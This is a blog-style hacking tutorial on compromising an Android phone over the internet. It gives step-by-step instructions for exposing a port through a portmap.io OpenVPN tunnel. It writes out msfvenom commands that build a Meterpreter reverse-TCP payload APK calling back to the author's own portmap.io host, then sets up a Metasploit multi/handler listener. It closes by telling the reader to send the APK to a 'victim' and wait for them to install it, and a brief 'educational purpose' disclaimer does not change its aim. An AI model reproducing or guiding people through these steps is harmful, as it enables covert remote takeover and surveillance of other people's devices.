HACKING - ANDROID - OVER -THE - WAN (internet)

 

                HACKING - ANDROID - OVER - THE - WAN

                             It is very interesting to know how hacking works but we will face lots of struggles in learning to hack. Also feel irritated if someone wastes your time,  like this....  :).So let's get started without wasting time.😈

NOTE: All you naughty guys out there, this is just for educational purpose not for any other use. Dont try this on others without their permission.

REQUIRED:

1.  Kali Linux.

2. Metasploit.

3. Basics on computer networks.

STEPS:

1)  First open www.portmap.io

this is a website which makes your ip over the internet.This can also be done using a wifi - router, but thats for another day. 

Now,

2)  Register an account for free in the portmap.io

U can only use one port forwarding for free account so be attentive to my instructions.


3) Now carfully configure the port like this



For this step:

a) Name - anything u want

b) Type - OpenVPN

 - its a virtual private networking software.

c) Proto - udp

- User Datagram Protocol (For low latency)

d) Now install OpenVPN software from link given under "Using openvpn tunnel".

e) And also the configuration file for your account from given - (Download button)

f) Take note of the command in the right side bottom - it will be helpful in future steps.

g) Now click on Create a mapping rule - which is in point-3 under the "Using openvpn tunnel"

4) Create a new mapping rule:


5) 

a) configuration - select the configuration file we made in step-3

b) protocol - tcp

-tcp for connecting networks of different devices.

c) Hostname - will be given - portmap.io

d) port on your pc - any port is fine but 4438 will give no errors as it will not be accesed by any other programs installed in your computer.(Note: unless u are a weirdo 😉)

e) Allowed ips - leave it empty

f) Now click create and start the OpenVPN tunnel

6) Start OpenVpn tunnel : 

a) Go to the directory, where the config file is saved and then open command promt there.

b) Now execute the command  we noted in step -3.

c) If there is an issue with permissions add sudo infront of the command and it will ask to enter the password of the computer to continue.

d) Then it will look like this:

e) Now your port is over the internet - Hurray ?,  not really😒 
Lets start doing the real deal instead!💪

7) For making a payload we will be using metasploit(😱-link to know about metasploit soon..):

    a) Now open another terminal and execute this command - 

INGENERAL :

msfvenom -p android/meterpreter/reverse_tcp LHOST=yourhostname.portmap.io LPORT=givenport  R>nameofyourwish.apk

INMYCASE :

msfvenom –p android/meterpreter/reverse_tcp LHOST=avnmht1-38981.portmap.io  LPORT=38981  R> nameofapk.apk

it will look like this:


8) After creating the payload apk:

9) Open metasploit in another terminal:
a) By typing msfconsole in the terminal:

Now we have to make a reciever or listener for our payload :
b) use multi/handler

c) set payload android/meterpreter/reverse_tcp

d) set LHOST yourhostname.portmap.io

For me:

e) set LPORT givenport
For me:

f) exploit

10) Now send the apk to the victim and wait for them to install the apk. And ola you got the victim.........




Comments